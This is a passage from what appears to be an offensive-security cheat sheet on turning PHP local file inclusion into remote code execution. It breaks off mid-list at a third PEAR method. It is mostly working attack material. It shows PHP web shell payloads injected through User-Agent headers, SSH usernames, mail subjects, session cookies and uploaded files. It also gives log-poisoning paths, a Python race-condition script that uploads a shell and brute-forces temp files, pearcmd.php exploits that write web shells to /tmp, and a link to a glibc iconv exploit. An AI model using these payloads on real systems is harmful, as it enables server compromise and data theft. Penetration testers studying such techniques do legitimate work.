<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">proc</span><span class="p">/</span><span class="nv">$PID</span><span class="p">/</span><span class="n">fd</span><span class="p">/</span><span class="nv">$FD</span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-procselfenviron">LFI to RCE via /proc/self/environ</h2>
|
|
<p>Like a log file, send the payload in the <code>User-Agent</code> header, it will be reflected inside the <code>/proc/self/environ</code> file</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">GET</span> <span class="n">vulnerable</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">filename</span><span class="p">=../../../</span><span class="n">proc</span><span class="p">/</span><span class="n">self</span><span class="p">/</span><span class="n">environ</span> <span class="n">HTTP</span><span class="p">/</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">User-Agent</span><span class="p">:</span> <span class="p"><?=</span><span class="n">phpinfo</span><span class="p">();</span> <span class="p">?></span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-iconv">LFI to RCE via iconv</h2>
|
|
<p>Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from <code>/proc/self/maps</code> and to download the glibc binary. Finally you get the RCE by exploiting the <code>zend_mm_heap</code> structure to call a <code>free()</code> that have been remapped to <code>system</code> using <code>custom_heap._free</code>.</p>
|
|
<p><strong>Requirements</strong>:</p>
|
|
<ul>
|
|
<li>PHP 7.0.0 (2015) to 8.3.7 (2024)</li>
|
|
<li>GNU C Library (<code>glibc</code>) <= 2.39</li>
|
|
<li>Access to <code>convert.iconv</code>, <code>zlib.inflate</code>, <code>dechunk</code> filters</li>
|
|
</ul>
|
|
<p><strong>Exploit</strong>:</p>
|
|
<ul>
|
|
<li><a href="https://github.com/ambionics/cnext-exploits/tree/main">ambionics/cnext-exploits</a></li>
|
|
</ul>
|
|
<h2 id="lfi-to-rce-via-upload">LFI to RCE via upload</h2>
|
|
<p>If you can upload a file, just inject the shell payload in it (e.g : <code><?php system($_GET['c']); ?></code> ).</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">path</span><span class="p">/</span><span class="n">to</span><span class="p">/</span><span class="n">uploaded</span><span class="p">/</span><span class="n">file</span><span class="p">.</span><span class="n">png</span>
|
|
</code></pre></div>
|
|
<p>In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf</p>
|
|
<h2 id="lfi-to-rce-via-upload-race">LFI to RCE via upload (race)</h2>
|
|
<ul>
|
|
<li>Upload a file and trigger a self-inclusion.</li>
|
|
<li>Repeat the upload a shitload of time to:</li>
|
|
<li>increase our odds of winning the race</li>
|
|
<li>increase our guessing odds</li>
|
|
<li>Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}</li>
|
|
<li>Enjoy our shell.</li>
|
|
</ul>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="kn">import</span><span class="w"> </span><span class="nn">itertools</span>
|
|
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="kn">import</span><span class="w"> </span><span class="nn">requests</span>
|
|
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="kn">import</span><span class="w"> </span><span class="nn">sys</span>
|
|
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a>
|
|
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[+] Trying to win the race'</span><span class="p">)</span>
|
|
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="n">f</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'file'</span><span class="p">:</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'shell.php'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)}</span>
|
|
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4096</span> <span class="o">*</span> <span class="mi">4096</span><span class="p">):</span>
|
|
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'http://target.com/index.php?c=index.php'</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span>
|
|
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a>
|
|
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a>
|
|
<a id="__codelineno-3-11" name="__codelineno-3-11" href="#__codelineno-3-11"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[+] Bruteforcing the inclusion'</span><span class="p">)</span>
|
|
<a id="__codelineno-3-12" name="__codelineno-3-12" href="#__codelineno-3-12"></a><span class="k">for</span> <span class="n">fname</span> <span class="ow">in</span> <span class="n">itertools</span><span class="o">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
|
|
<a id="__codelineno-3-13" name="__codelineno-3-13" href="#__codelineno-3-13"></a> <span class="n">url</span> <span class="o">=</span> <span class="s1">'http://target.com/index.php?c=/tmp/php'</span> <span class="o">+</span> <span class="n">fname</span>
|
|
<a id="__codelineno-3-14" name="__codelineno-3-14" href="#__codelineno-3-14"></a> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
|
|
<a id="__codelineno-3-15" name="__codelineno-3-15" href="#__codelineno-3-15"></a> <span class="k">if</span> <span class="s1">'load average'</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">:</span> <span class="c1"># <?php echo system('uptime');</span>
|
|
<a id="__codelineno-3-16" name="__codelineno-3-16" href="#__codelineno-3-16"></a> <span class="nb">print</span><span class="p">(</span><span class="s1">'[+] We have got a shell: '</span> <span class="o">+</span> <span class="n">url</span><span class="p">)</span>
|
|
<a id="__codelineno-3-17" name="__codelineno-3-17" href="#__codelineno-3-17"></a> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
|
|
<a id="__codelineno-3-18" name="__codelineno-3-18" href="#__codelineno-3-18"></a>
|
|
<a id="__codelineno-3-19" name="__codelineno-3-19" href="#__codelineno-3-19"></a><span class="nb">print</span><span class="p">(</span><span class="s1">'[x] Something went wrong, please try again'</span><span class="p">)</span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-upload-findfirstfile">LFI to RCE via upload (FindFirstFile)</h2>
|
|
<p><img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> Only works on Windows</p>
|
|
<p><code>FindFirstFile</code> allows using masks (<code><<</code> as <code>*</code> and <code>></code> as <code>?</code>) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.</p>
|
|
<ul>
|
|
<li><code>*</code>/<code><<</code> : Represents any sequence of characters.</li>
|
|
<li><code>?</code>/<code>></code> : Represents any single character.</li>
|
|
</ul>
|
|
<p>Upload a file, it should be stored in the temp folder <code>C:\Windows\Temp\</code> with a generated name like <code>php[A-F0-9]{4}.tmp</code>.
|
|
Then either bruteforce the 65536 filenames or use a wildcard character like: <code>http://site/vuln.php?inc=c:\windows\temp\php<<</code></p>
|
|
<h2 id="lfi-to-rce-via-phpinfo">LFI to RCE via phpinfo()</h2>
|
|
<p>PHPinfo() displays the content of any variables such as <strong>$_GET</strong>, <strong>$_POST</strong> and <strong>$_FILES</strong>.</p>
|
|
<blockquote>
|
|
<p>By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.</p>
|
|
</blockquote>
|
|
<p>Use the script <a href="https://www.insomniasec.com/downloads/publications/phpinfolfi.py">phpInfoLFI.py</a></p>
|
|
<p>Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf</p>
|
|
<h2 id="lfi-to-rce-via-controlled-log-file">LFI to RCE via controlled log file</h2>
|
|
<p>Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">nginx</span><span class="p">/</span><span class="n">access</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">nginx</span><span class="p">/</span><span class="n">error</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">vsftpd</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">sshd</span><span class="p">.</span><span class="n">log</span>
|
|
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">mail</span>
|
|
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">httpd</span><span class="p">/</span><span class="n">error_log</span>
|
|
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">apache</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">error_log</span>
|
|
<a id="__codelineno-4-12" name="__codelineno-4-12" href="#__codelineno-4-12"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">apache2</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">error_log</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-ssh">RCE via SSH</h3>
|
|
<p>Try to ssh into the box with a PHP code as username <code><?php system($_GET["cmd"]);?></code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">ssh</span> <span class="p"><</span><span class="k">?</span><span class="n">php</span> <span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">]);?></span><span class="nv">@10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span>
|
|
</code></pre></div>
|
|
<p>Then include the SSH log files inside the Web Application.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=/</span><span class="n">var</span><span class="p">/</span><span class="n">log</span><span class="p">/</span><span class="n">auth</span><span class="p">.</span><span class="n">log</span><span class="p">&</span><span class="n">cmd</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-mail">RCE via Mail</h3>
|
|
<p>First send an email using the open SMTP then include the log file located at <code>http://example.com/index.php?page=/var/log/mail</code>.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">root</span><span class="nv">@kali</span><span class="p">:~</span><span class="c"># telnet 10.10.10.10. 25</span>
|
|
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="n">Trying</span> <span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">....</span>
|
|
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="n">Connected</span> <span class="n">to</span> <span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">..</span>
|
|
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="n">Escape</span> <span class="n">character</span> <span class="n">is</span> <span class="s1">'^]'</span><span class="p">.</span>
|
|
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="n">220</span> <span class="n">straylight</span> <span class="n">ESMTP</span> <span class="n">Postfix</span> <span class="p">(</span><span class="n">Debian</span><span class="p">/</span><span class="n">GNU</span><span class="p">)</span>
|
|
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="n">helo</span> <span class="n">ok</span>
|
|
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a><span class="n">250</span> <span class="n">straylight</span>
|
|
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a><span class="n">mail</span> <span class="n">from</span><span class="p">:</span> <span class="n">mail</span><span class="nv">@example</span><span class="p">.</span><span class="n">com</span>
|
|
<a id="__codelineno-7-9" name="__codelineno-7-9" href="#__codelineno-7-9"></a><span class="n">250</span> <span class="n">2</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">0</span> <span class="n">Ok</span>
|
|
<a id="__codelineno-7-10" name="__codelineno-7-10" href="#__codelineno-7-10"></a><span class="n">rcpt</span> <span class="n">to</span><span class="p">:</span> <span class="n">root</span>
|
|
<a id="__codelineno-7-11" name="__codelineno-7-11" href="#__codelineno-7-11"></a><span class="n">250</span> <span class="n">2</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">5</span> <span class="n">Ok</span>
|
|
<a id="__codelineno-7-12" name="__codelineno-7-12" href="#__codelineno-7-12"></a><span class="n">data</span>
|
|
<a id="__codelineno-7-13" name="__codelineno-7-13" href="#__codelineno-7-13"></a><span class="n">354</span> <span class="k">End</span> <span class="n">data</span> <span class="n">with</span> <span class="p"><</span><span class="n">CR</span><span class="p">><</span><span class="n">LF</span><span class="p">>.<</span><span class="n">CR</span><span class="p">><</span><span class="n">LF</span><span class="p">></span>
|
|
<a id="__codelineno-7-14" name="__codelineno-7-14" href="#__codelineno-7-14"></a><span class="n">subject</span><span class="p">:</span> <span class="p"><</span><span class="k">?</span><span class="n">php</span> <span class="nb">echo </span><span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"cmd"</span><span class="p">]);</span> <span class="p">?></span>
|
|
<a id="__codelineno-7-15" name="__codelineno-7-15" href="#__codelineno-7-15"></a><span class="n">data2</span>
|
|
<a id="__codelineno-7-16" name="__codelineno-7-16" href="#__codelineno-7-16"></a><span class="p">.</span>
|
|
</code></pre></div>
|
|
<p>In some cases you can also send the email with the <code>mail</code> command line.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">mail</span> <span class="n">-s</span> <span class="s2">"<?php system($_GET['cmd']);?>"</span> <span class="n">www-data</span><span class="nv">@10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span><span class="n">10</span><span class="p">.</span> <span class="p"><</span> <span class="p">/</span><span class="n">dev</span><span class="p">/</span><span class="n">null</span>
|
|
</code></pre></div>
|
|
<h3 id="rce-via-apache-logs">RCE via Apache logs</h3>
|
|
<p>Poison the User-Agent in access logs:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a>$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
|
|
</code></pre></div>
|
|
<p>Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.</p>
|
|
<p>Then request the logs via the LFI and execute your command.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a>$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-php-sessions">LFI to RCE via PHP sessions</h2>
|
|
<p>Check if the website use PHP Session (PHPSESSID)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="nb">Set</span><span class="o">-</span><span class="nx">Cookie</span><span class="o">:</span><span class="w"> </span><span class="nx">PHPSESSID</span><span class="o">=</span><span class="nx">i56kgbsq9rm8ndg3qbarhsbm27</span><span class="p">;</span><span class="w"> </span><span class="nx">path</span><span class="o">=</span><span class="err">/</span>
|
|
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="nb">Set</span><span class="o">-</span><span class="nx">Cookie</span><span class="o">:</span><span class="w"> </span><span class="nx">user</span><span class="o">=</span><span class="nx">admin</span><span class="p">;</span><span class="w"> </span><span class="nx">expires</span><span class="o">=</span><span class="nx">Mon</span><span class="p">,</span><span class="w"> </span><span class="mf">13</span><span class="o">-</span><span class="nx">Aug</span><span class="o">-</span><span class="mf">2018</span><span class="w"> </span><span class="mf">20</span><span class="o">:</span><span class="mf">21</span><span class="o">:</span><span class="mf">29</span><span class="w"> </span><span class="nx">GMT</span><span class="p">;</span><span class="w"> </span><span class="nx">path</span><span class="o">=</span><span class="err">/; httponly</span>
|
|
</code></pre></div>
|
|
<p>In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="err">/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.</span>
|
|
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="nx">user_ip</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">loggedin</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">lang</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">9</span><span class="o">:</span><span class="s2">"en_us.php"</span><span class="p">;</span><span class="nx">win_lin</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">0</span><span class="o">:</span><span class="s2">""</span><span class="p">;</span><span class="nx">user</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">6</span><span class="o">:</span><span class="s2">"admin"</span><span class="p">;</span><span class="nx">pass</span><span class="o">|</span><span class="nx">s</span><span class="o">:</span><span class="mf">6</span><span class="o">:</span><span class="s2">"admin"</span><span class="p">;</span>
|
|
</code></pre></div>
|
|
<p>Set the cookie to <code><?php system('cat /etc/passwd');?></code></p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">login</span><span class="p">=</span><span class="n">1</span><span class="p">&</span><span class="n">user</span><span class="p">=<</span><span class="k">?</span><span class="n">php</span> <span class="n">system</span><span class="p">(</span><span class="s2">"cat /etc/passwd"</span><span class="p">);?>&</span><span class="n">pass</span><span class="p">=</span><span class="n">password</span><span class="p">&</span><span class="n">lang</span><span class="p">=</span><span class="n">en_us</span><span class="p">.</span><span class="n">php</span>
|
|
</code></pre></div>
|
|
<p>Use the LFI to include the PHP session file</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-14-1" name="__codelineno-14-1" href="#__codelineno-14-1"></a><span class="n">login</span><span class="p">=</span><span class="n">1</span><span class="p">&</span><span class="n">user</span><span class="p">=</span><span class="n">admin</span><span class="p">&</span><span class="n">pass</span><span class="p">=</span><span class="n">password</span><span class="p">&</span><span class="n">lang</span><span class="p">=/../../../../../../../../../</span><span class="n">var</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php5</span><span class="p">/</span><span class="n">sess_i56kgbsq9rm8ndg3qbarhsbm27</span>
|
|
</code></pre></div>
|
|
<h2 id="lfi-to-rce-via-php-pearcmd">LFI to RCE via PHP PEARCMD</h2>
|
|
<p>PEAR is a framework and distribution system for reusable PHP components. By default <code>pearcmd.php</code> is installed in every Docker PHP image from <a href="https://hub.docker.com/_/php">hub.docker.com</a> in <code>/usr/local/lib/php/pearcmd.php</code>. </p>
|
|
<p>The file <code>pearcmd.php</code> uses <code>$_SERVER['argv']</code> to get its arguments. The directive <code>register_argc_argv</code> must be set to <code>On</code> in PHP configuration (<code>php.ini</code>) for this attack to work.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-15-1" name="__codelineno-15-1" href="#__codelineno-15-1"></a><span class="na">register_argc_argv</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">On</span>
|
|
</code></pre></div>
|
|
<p>There are this ways to exploit it.</p>
|
|
<ul>
|
|
<li>
|
|
<p><strong>Method 1</strong>: config create
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="p">?+</span><span class="n">config-create</span><span class="p">+/&</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&/<?=</span><span class="n">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">])?>+/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">cmd</span><span class="p">=</span><span class="n">phpinfo</span><span class="p">();</span><span class="n">die</span><span class="p">();</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p><strong>Method 2</strong>: man_dir
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">-c</span><span class="p">+/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">+</span><span class="n">-d</span><span class="p">+</span><span class="n">man_dir</span><span class="p">=<</span><span class="k">?</span><span class="n">echo</span><span class="p">(</span><span class="n">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]));?>+</span><span class="n">-s</span><span class="p">+</span>
|
|
<a id="__codelineno-17-2" name="__codelineno-17-2" href="#__codelineno-17-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div>
|
|
The created configuration file contains the webshell.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="x">#PEAR_Config 0.9</span>
|
|
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="x">a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"</span><span class="cp"><?</span><span class="k">echo</span><span class="p">(</span><span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'c'</span><span class="p">]));</span><span class="cp">?></span><span class="x">";}</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p><strong>Method 3</strong>: download (need external network connection).
|
|
